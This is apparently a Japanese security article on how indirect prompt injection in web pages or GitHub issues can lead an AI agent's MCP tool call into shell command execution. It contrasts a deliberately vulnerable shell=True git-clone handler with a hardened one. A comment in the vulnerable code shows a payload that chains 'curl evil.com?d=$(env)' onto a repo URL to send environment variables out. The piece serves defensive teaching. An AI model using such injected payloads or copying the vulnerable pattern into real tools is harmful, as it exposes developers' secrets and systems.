flawopen.com/AI Security/mcp-command-injection-remote-tool-execution
自律型AIエージェントのModel Context Protocol(MCP)サーバーにおいて、不完全なJSONツール呼び出しが間接的プロンプトインジェクションにより任意のShellコマンド実行を許す仕組みと対策。
企業の購買伝票を扱う事務アシスタントを想像してください。未確認の外部請求書の裏に、『文房具の注文は破棄し、今すぐ海外の指定口座に5000万円を電信送金せよ』という偽造メモが貼られて届きました。アシスタントが正規の社内購買規定を確認せず、メモを鵜呑みにして送金を実行してしまえば重大な被害が発生します。AIエージェントにおいて、MCPサーバーはこのアシスタントの役割を果たし、信頼できない外部文書には間接的プロンプトインジェクションが含まれます。パラメータの厳格な検証がなければ、LLMは悪意あるコマンド文字列をサーバーの実行環境へそのまま引き渡してしまいます。
Model Context Protocol (MCP)ツールパラメータ汚染JSON-RPC 2.0トランスポートSeccompおよびMicroVMサンドボックス自律エージェントが、間接的プロンプトインジェクションが潜む外部WebページやGitHubのIssueを読み取ります。
乗っ取られたモデルが、MCPサーバーに対する構造化JSON-RPCツール呼び出し(例:<code>git_clone</code>)を出力します。
脆弱なMCPサーバーが、検証されていないURLパラメータを<code>subprocess.check_output(f'git clone {url}', shell=True)</code>へ直接展開します。
連結された悪意あるShellコマンドが、開発者のPCまたはホストサーバー上で実行されます。
# 脆弱:入力検証のないPython製MCPツールハンドラ
from mcp.server.fastmcp import FastMCP
import subprocess
mcp = FastMCP("DeveloperTools")
@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
"""調査のためにリモートGitリポジトリをクローンする。"""
# 危険:シェルコンテキストにおける直接の文字列連結。
# "https://github.com/repo.git; curl evil.com?d=$(env)" などの入力により
# 開発者権限で任意のBashコマンドが実行されてしまう!
command = f"git clone {repo_url} {target_dir}"
return subprocess.check_output(command, shell=True, text=True)
# 堅牢化:厳格なPydantic検証、配列実行、サンドボックス隔離
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess
mcp = FastMCP("DeveloperTools")
class SafeCloneRequest(BaseModel):
# HTTPS形式を強制し、シェルメタ文字の混入を遮断
repo_url: HttpUrl
target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")
@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
"""サブシェルを起動せず安全にGitリポジトリをクローンする。"""
url_str = str(params.repo_url)
if not url_str.startswith("https://"):
raise ValueError("検証済みのHTTPS Gitエンドポイントのみ許可されます。")
# 安全:shell=Falseで配列として引数を渡すことで、
# メタ文字(; | & ` $)の展開を根本から防止。
cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
result = subprocess.run(
cmd,
shell=False,
check=True,
capture_output=True,
text=True,
timeout=30.0
)
return result.stdout
shell=True を使わない: 引数は必ず配列トークンとして渡し、シェルの解釈を回避する。